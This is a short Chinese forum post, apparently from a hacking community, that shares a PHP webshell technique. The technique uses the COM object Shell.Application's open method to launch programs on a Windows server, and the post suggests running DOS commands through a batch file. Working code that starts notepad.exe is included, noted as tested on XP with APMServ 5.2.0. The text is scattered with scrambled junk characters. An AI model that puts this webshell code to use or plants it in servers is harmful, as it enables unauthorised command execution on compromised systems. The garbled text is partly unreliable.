关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
4 X1 ~7 Z) S4 m* z# B! \
0 H' d @$ s0 ]' E& b今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
0 g" {" c9 g: u
& ^, r9 P# K9 G2 b1 Y<?php. n r6 F' @/ J. _. Y, p( [) D" q
$wsh = new COM('Shell.Application') or die("Shell.Application");
% w% ?0 u3 N: c, A) `- | $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
N! V* e$ f% E+ |' o& n5 L; F //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
2 B( [- I2 ]# P?>) l, |3 ?: v8 u2 L
; o Z0 t3 h; p/ ^8 P' Z/ E0 zxp+APMServ5.2.0测试通过。
+ Z. A( r) ^) `# t* k; U |